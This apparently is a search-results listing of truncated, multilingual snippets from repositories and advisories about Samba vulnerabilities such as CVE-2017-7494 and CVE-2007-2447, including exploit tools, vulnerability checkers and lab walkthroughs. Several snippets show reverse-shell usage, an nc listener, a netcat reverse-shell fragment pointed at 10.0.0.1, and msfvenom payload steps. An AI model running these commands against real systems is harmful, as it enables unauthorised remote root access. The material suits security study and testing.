11562 matches found
CVE-2017-7494
CVE-2017-7494 SAMBA CVE-2017-7494 脆弱性に対するリモートルートエクスプロイト。 詳細 このエクスプロイトは2つの部分に分かれています: 最初に、"implant.c" と呼ばれるペイロードをコンパイルし、rootユーザーに切り替え、親プロセスから切り離し、リバースシェルを生成するライブラリ libimplantx32.so または libimplantx64.so を生成します。 次に、指定されたターゲットホスト内の書き込み可能な共有を見つけ、ランダムな名前でライブラリをアップロードし、それをロードしようとします。...
cdt-vulnsamba-deploy
CDT Team Delta - 易受攻击的 Samba 部署 概述 该仓库是基于 Ansible 的易受攻击 Samba 文件服务器部署，该服务器受 CVE-2017-7494 影响，这是一个严重的远程代码执行漏洞。这有望在灰队阶段为 Delta 团队进行部署。 漏洞描述 CVE-2017-7494 是 Samba 3.5.0 至 4.6.4 版本中的一个严重漏洞，它允许远程攻击者将一个恶意的共享对象 .so 文件上传到可写的 SMB 共享，并强制 Samba 服务加载该文件，从而执行任意代码。成功利用通常会导致 root 级命令执行。 前提条件 目标操作系统：Ubuntu 22.04...
CVE-2025-33073-checker
CVE-2025-33073 チェッカースクリプト この簡易PoCチェッカースクリプトは、samba RPCを介したNTLM認証強制を用いてNTLMリフレクション攻撃を試みることにより、CVE-2025-33073脆弱性について対象をテストします。これにはsambaにアクセス権を持つアカウントが必要です。 また、後述のように内部Windows...
CVE-2021-44142
CVE-2021-44142 漏洞检查器 一个用于检查 Samba 服务器是否存在 CVE-2021-44142 漏洞的工具 背景 CVE-2021-44142 是 Samba 的 vfsfruit 模块中的一个堆越界读写漏洞，在 2021 年 Pwn2Own Austin 上被用于攻击 Western Digital PR4100。它最初由 STAR Labs 的 Nguyễn Hoàng Thạch 和 Billy Jheng Bing-Jhong 发现。DEVCORE 的 Orange Tsai 也报告了该漏洞。本工作基于 0xsha 在...
Exploiting-Samba-on-Metasploitable-2
Metasploitable-2でのSambaの悪用 私の目標は、Kali Linux マシンから metasploit を使用して、よく知られた samba の脆弱性 CVE-2007-2447 を悪用することでした。これは、リバースシェルを使用して Metasploitable 2 マシンに侵入し、ルートフォルダにアクセスするために行われます。このフォルダにアクセスすると、/etc/shadow フォルダが明らかになり、侵害の証拠となります。 1. Nmap スキャンとターゲット列挙 まず、各ホストマシンの IP アドレスを特定します。 Metasploitable 2:...
CVE-2007-2447
CVE-2007-2447 PoC: Ejecución remota de comandos "usermap script" de Samba CVE histórico. Este repositorio contiene un pequeño script de prueba de concepto para investigación y revisión educativa. El script principal es usermapscriptCommandExecution.py. Referencia:...
CVE-2007-2447
CVE-2007-2447 Samba 漏洞利用程序 一个针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞的独立 Rust 实现。 漏洞描述 CVE-2007-2447 是 Samba 3.0.0 至 3.0.25rc3 版本中的一个命令注入漏洞。该漏洞存在于 SamrChangePassword 函数中，该函数未能正确清理用户输入，攻击者可以通过在 SMB 认证期间在用户名字段中使用 shell 元字符来执行任意命令。 前提条件 系统已安装 Rust 目标运行存在漏洞的 Samba 版本 目标必须安装有 netcat（通常默认安装） 使用方法...
Samba-CVE-2021-44142
Comprobador de Vulnerabilidad CVE-2021-44142 Una herramienta para comprobar si un servidor Samba es vulnerable a CVE-2021-44142 Antecedentes CVE-2021-44142 es una lectura y escritura fuera de límites del heap en el módulo vfsfruit de Samba, utilizada en Pwn2Own Austin 2021 contra el Western Digit...
Fedora 43 : freeipa / samba (2026-bf202f7b3b)
The remote Fedora 43 host has packages installed that are affected by a vulnerability as referenced in the FEDORA-2026-bf202f7b3b advisory. Update to Samba 4.23.12 along with freeipa rebuild Tenable has extracted the preceding description block directly from the Fedora security advisory. Note tha...
CVE-2017-7494
CVE-2017-7494 针对SAMBA CVE-2017-7494漏洞的远程root利用工具。 详细信息 本利用工具分为两部分： 首先，它编译一个名为"implant.c"的有效载荷，并生成一个库（libimplantx32.so或libimplantx64.so），该库切换为root用户，脱离父进程并派生一个反向Shell。 其次，它在目标主机上查找可写共享，以上传该库（使用随机名称）并尝试加载它。 只要目标存在漏洞，且有效载荷与目标操作系统及架构匹配，该利用工具就100%可靠。 使用方法 在你的机器上运行以下命令： root@kitploit: $ nc -p 31337 -l...
smb-usermap
Samba "username map script" コマンド実行 このモジュールは、非デフォルトの "username map script" 設定オプションを使用している場合に、Samba バージョン 3.0.20 から 3.0.25rc3 におけるコマンド実行の脆弱性を悪用します。シェルのメタ文字を含むユーザー名を指定することで、攻撃者は任意のコマンドを実行できます。このオプションは認証前にユーザー名をマップするために使用されるため、この脆弱性を悪用するのに認証は必要ありません。 1. シェルコードを作成 root@kitploit: msfvenom -p...
Samba-Usermap-exploit
CVE-2007-2447 - Samba usermap エクスプロイト。 使用方法: root@kitploit: $ python3 exploit.py RHOST -- 対象アドレス RPORT -- 対象ポート TCP : 139 LHOST -- リッスンアドレス LPORT -- リッスンポート インストール root@kitploit: git clone https://github.com/Nosferatuvjr/Samba-Usermap-exploit pip install -r requirements.txt...
CVE-2007-2447-RCE
このエクスプロイトは、Samba 3.0.20 3.0.25 を悪用してリバースシェルを取得するのに役立ちます · python3 でスクリプトを --help パラメータ付きで実行すると、一連のパラメータが要求されます root@kitploit: --lhost LHOST your host ip where the shell will be received --lport LPORT your port port where the shell will be received --rhost RHOST remote host ip of the victim machin...
CVE-2025-10230
CVE-2025-10230 CVE-2025-10230 的 PoC —— Samba WINS 钩子命令注入 此漏洞所需的配置可能影响 0 人。注入被限制为 15 个字符，且必须是有效的 WINS 名称，因此不能包含 ;...
CVE-2017-7494_IT19115344
CVE-2017-7494IT19115344 在Samba中发现了一个远程代码执行漏洞。一个恶意的已认证的Samba客户端，如果对Samba共享具有写权限，可以利用此漏洞以root身份执行任意代码。...
CVE-2007-2447
Sambaster cve-2007-2447 Samba 3.0.20 所需模块： root@kitploit: pysmb 如果你尚未安装它： root@kitploit: pip3 install pysmb 用法： root@kitploit: python3 sambaster.py...
Samba-Exploit-CVE-2007-2447
🎬 このYouTube動画 1️⃣ ターゲットのスキャン Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 期待される結果: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba バージョン: 3.0.20 これは CVE-2007-2447 に対して脆弱です。 2️⃣ Sambaエクスプロイトの特定 root@kitploit: searchsploit samba 3.0.20...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...
Kioptrix-Level1-Vulnerability-Analysis
Kioptrix Level 1: フルスペクトラム脆弱性監査とエクスプロイト 🏛️ プロフェッショナル目的 目的は、Kioptrix Level 1環境に対して構造化されたペネトレーションテストを実施し、完全な'root'権限を奪取し、RedチームとBlueチームの両方の運用に適した技術的修復戦略を文書化することでした。 🏗️ 環境の再現（ハードウェアの背景） 最近の仮想化のデフォルト設定では、多くの場合、レガシーな2010年のカーネルで動作しません。このマシンを正常に起動しネットワークに接続するには、以下の特定のアーキテクチャ設定が必要でした。 OSサブタイプ: Linux / Red...